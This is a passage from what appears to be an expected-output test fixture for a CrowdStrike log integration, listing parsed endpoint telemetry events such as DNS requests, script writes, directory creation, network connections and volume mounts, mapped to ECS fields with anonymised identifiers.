"ip": "0.0.0.0", + "port": 0 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:36.111Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "ContextProcessId": "364977197365370629", + "ContextTimeStamp": "2021-07-07T17:04:35.806Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9644-060415b1fd87", + "name": "DnsRequestMacV1" + }, + "device": { + "id": "ffffffff7ecf4e61bba14ca5ac5d17b1" + }, + "dns": { + "question": { + "name": "jss.dom1.com", + "registered_domain": "dom1.com", + "subdomain": "jss", + "top_level_domain": "com", + "type": "AAAA" + }, + "type": "query" + }, + "event": { + "action": "DnsRequest", + "category": [ + "network" + ], + "created": "2021-07-07T17:04:36.111Z", + "id": "ffffffff-1111-11eb-9644-060415b1fd87|ffffffff7ecf4e61bba14ca5ac5d17b1|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1625677475.806\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364977197365370629\",\"DomainName\":\"jss.dom1.com\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"DnsRequestMacV1\",\"id\":\"ffffffff-1111-11eb-9644-060415b1fd87\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff7ecf4e61bba14ca5ac5d17b1\",\"timestamp\":\"1625677476111\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"RequestType\":\"28\"}", + "outcome": "success", + "type": [ + "protocol" + ] + }, + "host": { + "id": "ffffffff7ecf4e61bba14ca5ac5d17b1", + "os": { + "type": "macos" + } + }, + "message": "DnsRequest", + "network": { + "protocol": "dns" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff7ecf4e61bba14ca5ac5d17b1", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364977197365370629", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "1620585913" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:40.055Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "ContextProcessId": "365053504406857894", + "ContextTimeStamp": "2021-07-07T17:05:04.770Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "SHA256HashData": "2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b3de-06a53f021cc9", + "name": "NewScriptWrittenMacV2" + }, + "device": { + "id": "ffffffffbea440b9aad8b5bf222d303f" + }, + "event": { + "action": "NewScriptWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:05:40.055Z", + "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1625677504.770\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"365053504406857894\",\"Size\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9\",\"FileIdentifier\":\"05000001000000000000000000000000b588050000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NewScriptWrittenMacV2\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"timestamp\":\"1625677540055\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Applications/BitBar/countdown_timer.1s.py\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/Applications/BitBar", + "extension": "py", + "inode": "05000001000000000000000000000000b588050000000000", + "name": "countdown_timer.1s.py", + "path": "/Applications/BitBar/countdown_timer.1s.py", + "size": 0, + "type": "file" + }, + "host": { + "id": "ffffffffbea440b9aad8b5bf222d303f", + "os": { + "type": "macos" + } + }, + "message": "NewScriptWritten", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffbea440b9aad8b5bf222d303f", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "365053504406857894", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9", + "1620585913" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:26.386Z", + "crowdstrike": { + "ConfigStateHash": "1156120155", + "InterfaceIndex": 186, + "LocalAddressIP6": [ + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b3c1-02ff598b7945", + "name": "LocalIpAddressRemovedIP6LinV1" + }, + "device": { + "id": "ffffffffbfbf4ff5aa56a26ad3c1a942" + }, + "event": { + "action": "LocalIpAddressRemovedIP6", + "category": [ + "configuration", + "host" + ], + "created": "2021-07-07T17:05:26.386Z", + "id": "ffffffff-1111-11eb-b3c1-02ff598b7945|ffffffffbfbf4ff5aa56a26ad3c1a942|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"InterfaceIndex\":\"186\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"event_platform\":\"Lin\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1156120155\",\"name\":\"LocalIpAddressRemovedIP6LinV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-b3c1-02ff598b7945\",\"aid\":\"ffffffffbfbf4ff5aa56a26ad3c1a942\",\"timestamp\":\"1625677526386\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffffbfbf4ff5aa56a26ad3c1a942", + "os": { + "type": "linux" + } + }, + "message": "LocalIpAddressRemovedIP6", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffbfbf4ff5aa56a26ad3c1a942", + "version": "1007.8.0011611.1" + }, + "related": { + "hash": [ + "1156120155" + ], + "ip": [ + "67.43.156.14", + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ] + }, + "source": { + "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:00.089Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "365053555029062046", + "ContextTimeStamp": "2021-07-07T17:04:59.994Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "Flags": "0", + "UnixMode": "0", + "VnodeType": "2", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-92d2-0286f570f8e1", + "name": "DirectoryCreateMacV1" + }, + "device": { + "id": "ffffffff24db47799d1a85aae61dc7bc" + }, + "event": { + "action": "DirectoryCreate", + "category": [ + "file" + ], + "created": "2021-07-07T17:05:00.089Z", + "id": "ffffffff-1111-11eb-92d2-0286f570f8e1|ffffffff24db47799d1a85aae61dc7bc|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"DirectoryCreate\",\"ContextTimeStamp\":\"1625677499.994\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053555029062046\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"Flags\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"event_platform\":\"Mac\",\"UnixMode\":\"0\",\"Entitlements\":\"15\",\"name\":\"DirectoryCreateMacV1\",\"id\":\"ffffffff-1111-11eb-92d2-0286f570f8e1\",\"VnodeType\":\"2\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff24db47799d1a85aae61dc7bc\",\"TargetDirectoryName\":\"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871\",\"timestamp\":\"1625677500089\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS", + "name": "2F71C2D4-D215-453E-BF4C-D6C037502871", + "path": "/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871", + "type": "dir" + }, + "host": { + "id": "ffffffff24db47799d1a85aae61dc7bc", + "os": { + "type": "macos" + } + }, + "message": "DirectoryCreate", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff24db47799d1a85aae61dc7bc", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "365053555029062046", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "0" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "group": { + "id": "0" + }, + "id": "0" + } + }, + { + "@timestamp": "2021-07-07T17:05:17.986Z", + "crowdstrike": { + "ConfigStateHash": "1479784503", + "ConnectionFlags": "0", + "ContextProcessId": "84424232977619", + "ContextTimeStamp": "2021-07-07T17:05:17.658Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "67.43.156.14" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9015-02e89cda7d5f", + "name": "NetworkCloseIP4LinV6" + }, + "destination": { + "address": "67.43.156.13", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.13", + "port": 443 + }, + "device": { + "id": "ffffffff58de4e748d9f64c85a9b49e6" + }, + "event": { + "action": "NetworkCloseIP4", + "category": [ + "network" + ], + "created": "2021-07-07T17:05:17.986Z", + "id": "ffffffff-1111-11eb-9015-02e89cda7d5f|ffffffff58de4e748d9f64c85a9b49e6|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"NetworkCloseIP4\",\"ContextTimeStamp\":\"1625677517.658\",\"ConfigStateHash\":\"1479784503\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"84424232977619\",\"RemotePort\":\"443\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"40394\",\"Entitlements\":\"15\",\"name\":\"NetworkCloseIP4LinV6\",\"id\":\"ffffffff-1111-11eb-9015-02e89cda7d5f\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff58de4e748d9f64c85a9b49e6\",\"RemoteAddressIP4\":\"67.43.156.13\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677517986\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "end", + "connection" + ] + }, + "host": { + "id": "ffffffff58de4e748d9f64c85a9b49e6", + "os": { + "type": "linux" + } + }, + "message": "NetworkCloseIP4", + "network": { + "community_id": "1:UVftVVD3gVlBx8wJQBdaiJYrD6A=", + "direction": "unknown", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff58de4e748d9f64c85a9b49e6", + "version": "1007.8.0011308.1" + }, + "process": { + "entity_id": "84424232977619" + }, + "related": { + "hash": [ + "1479784503" + ], + "ip": [ + "67.43.156.14", + "67.43.156.13" + ] + }, + "source": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14", + "port": 40394 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:56.804Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "365053546767850587", + "ContextTimeStamp": "2021-07-07T17:04:56.750Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "VolumeAppearanceTime": "1625677422.647", + "VolumeBusName": "IONVMeController", + "VolumeBusPath": "IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController", + "VolumeDeviceInternal": "1", + "VolumeDeviceModel": "APPLE SSD SM0256L", + "VolumeDevicePath": "IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1", + "VolumeDeviceProtocol": "PCI-Express", + "VolumeDeviceRevision": "CXS4LA0Q", + "VolumeFileSystemDriver": "apfs", + "VolumeIsNetwork": "0", + "VolumeMediaBSDMajor": "1", + "VolumeMediaBSDMinor": "8", + "VolumeMediaBSDName": "disk1s3", + "VolumeMediaBSDUnit": "1", + "VolumeMediaContent": "41504653-0000-11AA-AA11-00306543ECAC", + "VolumeMediaEjectable": "0", + "VolumeMediaName": "AppleAPFSMedia", + "VolumeMediaPath": "IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3", + "VolumeMediaRemovable": "0", + "VolumeMediaSize": "250685575168", + "VolumeMediaUUID": "AD0F4085-F901-4204-8C5D-441F365D4909", + "VolumeMediaWhole": "0", + "VolumeMediaWritable": "1", + "VolumeMountPoint": "/Volumes/Recovery", + "VolumeName": "Recovery", + "VolumeSectorSize": "4096", + "VolumeType": "APFS", + "VolumeUUID": "85400FAD-01F9-0442-8C5D-441F365D4909", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-956a-02748d01bd3d", + "name": "FsVolumeMountedMacV1" + }, + "device": { + "id": "ffffffff8eca418b7a861be9c5f7de1d" + }, + "event": { + "action": "FsVolumeMounted", + "category": [ + "host" + ], + "created": "2021-07-07T17:04:56.804Z", + "id": "ffffffff-1111-11eb-956a-02748d01bd3d|ffffffff8eca418b7a861be9c5f7de1d|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"VolumeMediaName\":\"AppleAPFSMedia\",\"VolumeDeviceProtocol\":\"PCI-Express\",\"VolumeDeviceVendor\":\"\",\"ContextThreadId\":\"0\",\"VolumeMediaContent\":\"41504653-0000-11AA-AA11-00306543ECAC\",\"VolumeMediaEjectable\":\"0\",\"aip\":\"67.43.156.14\",\"VolumeAppearanceTime\":\"1625677422.647\",\"VolumeDeviceModel\":\"APPLE SSD SM0256L\",\"VolumeMediaBSDName\":\"disk1s3\",\"VolumeMountPoint\":\"/Volumes/Recovery\",\"event_platform\":\"Mac\",\"VolumeType\":\"APFS\",\"VolumeMediaRemovable\":\"0\",\"VolumeMediaBSDUnit\":\"1\",\"VolumeFileSystemDriver\":\"apfs\",\"id\":\"ffffffff-1111-11eb-956a-02748d01bd3d\",\"VolumeMediaSize\":\"250685575168\",\"EffectiveTransmissionClass\":\"2\",\"VolumeBusName\":\"IONVMeController\",\"timestamp\":\"1625677496804\",\"VolumeMediaBSDMinor\":\"8\",\"VolumeMediaWritable\":\"1\",\"event_simpleName\":\"FsVolumeMounted\",\"VolumeDevicePath\":\"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1\",\"VolumeName\":\"Recovery\",\"ContextTimeStamp\":\"1625677496.750\",\"VolumeSectorSize\":\"4096\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053546767850587\",\"VolumeBusPath\":\"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController\",\"VolumeDeviceInternal\":\"1\",\"ConfigBuild\":\"1007.4.0013701.1\",\"VolumeUUID\":\"85400FAD-01F9-0442-8C5D-441F365D4909\",\"VolumeDeviceRevision\":\"CXS4LA0Q\",\"Entitlements\":\"15\",\"name\":\"FsVolumeMountedMacV1\",\"VolumeMediaBSDMajor\":\"1\",\"VolumeMediaPath\":\"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3\",\"aid\":\"ffffffff8eca418b7a861be9c5f7de1d\",\"VolumeMediaUUID\":\"AD0F4085-F901-4204-8C5D-441F365D4909\",\"VolumeMediaWhole\":\"0\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"VolumeIsNetwork\":\"0\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff8eca418b7a861be9c5f7de1d", + "os": { + "type": "macos" + } + }, + "message": "FsVolumeMounted", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff8eca418b7a861be9c5f7de1d", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "365053546767850587", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:14.374Z", + "crowdstrike": { + "ConfigStateHash": "1156120155", + "InterfaceAlias": "eth0", + "InterfaceIndex": 2, + "InterfaceType": "1", + "LocalAddressIP4": [ + "67.43.156.14" + ], + "PhysicalAddressLength": 6, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9c94-0222a21bbb27", + "name": "LocalIpAddressIP4LinV1" + }, + "device": { + "id": "ffffffff190e436aaebc3892bcda5beb" + }, + "event": { + "action": "LocalIpAddressIP4", + "category": [ + "configuration", + "host" + ], + "created": "2021-07-07T17:05:14.374Z", + "id": "ffffffff-1111-11eb-9c94-0222a21bbb27|ffffffff190e436aaebc3892bcda5beb|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"1156120155\",\"CreationTimeStamp\":\"1625677513.841\",\"aip\":\"67.43.156.14\",\"PhysicalAddress\":\"0e-d6-ff-ff-ff-63\",\"InterfaceAlias\":\"eth0\",\"InterfaceIndex\":\"2\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"InterfaceType\":\"1\",\"name\":\"LocalIpAddressIP4LinV1\",\"id\":\"ffffffff-1111-11eb-9c94-0222a21bbb27\",\"PhysicalAddressLength\":\"6\",\"aid\":\"ffffffff190e436aaebc3892bcda5beb\",\"timestamp\":\"1625677514374\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff190e436aaebc3892bcda5beb", + "os": { + "type": "linux" + } + }, + "message": "LocalIpAddressIP4", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff190e436aaebc3892bcda5beb", + "version": "1007.8.0011611.1" + }, + "related": { + "hash": [ + "1156120155" + ], + "ip": [ + "67.43.156.14" + ] + }, + "source": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14", + "mac": "0E-D6-FF-FF-FF-63" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:40.056Z", + "crowdstrike": { + "ConfigStateHash": "3967242894", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "InterfaceIndex": 8, + "LocalAddressIP6": [ + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ], + "NetLuidIndex": 0, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", + "name": "LocalIpAddressRemovedIP6MacV1" + }, + "device": { + "id": "ffffffff44564c2f8d76394cb25c31ab" + }, + "event": { + "action": "LocalIpAddressRemovedIP6", + "category": [ + "configuration", + "host" + ], + "created": "2021-07-07T17:04:40.056Z", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"InterfaceIndex\":\"8\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressRemovedIP6MacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677480056\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff44564c2f8d76394cb25c31ab", + "os": { + "type": "macos" + } + }, + "message": "LocalIpAddressRemovedIP6", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff44564c2f8d76394cb25c31ab", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3967242894" + ], + "ip": [ + "67.43.156.13", + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ] + }, + "source": { + "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:21.723Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "InDiscards": "0", + "InErrors": "0", + "InMulticastPkts": "0", + "InOctets": "0", + "InUcastPkts": "0", + "InUnknownProtos": "0", + "InterfaceAlias": "llw0", + "InterfaceIndex": 8, + "InterfaceType": "6", + "LocalAddressIP6": [ + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ], + "NetLuidIndex": 0, + "OutErrors": "0", + "OutMulticastPkts": "0", + "OutOctets": "0", + "OutUcastPkts": "0", + "PhysicalAddressLength": 6, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7", + "name": "LocalIpAddressIP6MacV1" + }, + "device": { + "id": "ffffffff0ad7494e8e817b3903f4eebb" + }, + "event": { + "action": "LocalIpAddressIP6", + "category": [ + "configuration", + "host" + ], + "created": "2021-07-07T17:05:21.723Z", + "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7|ffffffff0ad7494e8e817b3903f4eebb|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"OutOctets\":\"0\",\"CreationTimeStamp\":\"\",\"aip\":\"67.43.156.14\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"llw0\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"8\",\"event_platform\":\"Mac\",\"InterfaceType\":\"6\",\"id\":\"ffffffff-1111-11eb-b88d-06b7cb0d7bd7\",\"PhysicalAddressLength\":\"6\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677521723\",\"event_simpleName\":\"LocalIpAddressIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1620585913\",\"PhysicalAddress\":\"c2-27-b0-27-83-0f\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"0\",\"InMulticastPkts\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"InOctets\":\"0\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressIP6MacV1\",\"aid\":\"ffffffff0ad7494e8e817b3903f4eebb\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff0ad7494e8e817b3903f4eebb", + "os": { + "type": "macos" + } + }, + "message": "LocalIpAddressIP6", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff0ad7494e8e817b3903f4eebb", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "1620585913" + ], + "ip": [ + "67.43.156.14", + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ] + }, + "source": { + "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "mac": "C2-27-B0-27-83-0F" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:07.086Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ConnectionFlags": "0", + "ContextProcessId": "364432308748445743", + "ContextTimeStamp": "2021-07-07T17:05:07.037Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "0.0.0.0" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8b36-06a8af5164a9", + "name": "NetworkListenIP4MacV10" + }, + "destination": { + "address": "0.0.0.0", + "ip": "0.0.0.0", + "port": 0 + }, + "device": { + "id": "ffffffff23d24c4193ffa6f270775ee5" + }, + "event": { + "action": "NetworkListenIP4", + "category": [ + "network" + ], + "created": "2021-07-07T17:05:07.086Z", + "id": "ffffffff-1111-11eb-8b36-06a8af5164a9|ffffffff23d24c4193ffa6f270775ee5|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": 